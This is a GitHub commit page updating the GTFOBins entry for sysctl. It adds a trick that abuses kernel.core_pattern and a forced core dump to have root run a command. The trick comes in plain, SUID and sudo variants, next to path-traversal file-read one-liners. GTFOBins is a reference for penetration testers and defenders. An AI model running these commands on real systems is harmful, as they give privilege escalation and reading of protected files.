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Update sysctl

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Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
decrazyo 2022-12-16 10:12:13 -06:00 committed by GitHub
parent 01042c2aa1
commit 21e0166608
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 20 additions and 6 deletions
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26
_gtfobins/sysctl.md
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@ -1,16 +1,30 @@
---
description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
functions:
command:
- description: The command is executed by root in the background when a core dump occurs.
code: |
COMMAND='/bin/sh -c id>/tmp/id'
sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
file-read:
- code: |
- description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
code: |
LFILE=file_to_read
/usr/sbin/sysctl -n "/../../$LFILE"
suid:
- code: |
LFILE=file_to_read
./sysctl -n "/../../$LFILE"
COMMAND='/bin/sh -c id>/tmp/id'
./sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
sudo:
- code: |
LFILE=file_to_read
sudo sysctl -n "/../../$LFILE"
COMMAND='/bin/sh -c id>/tmp/id'
sudo sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
---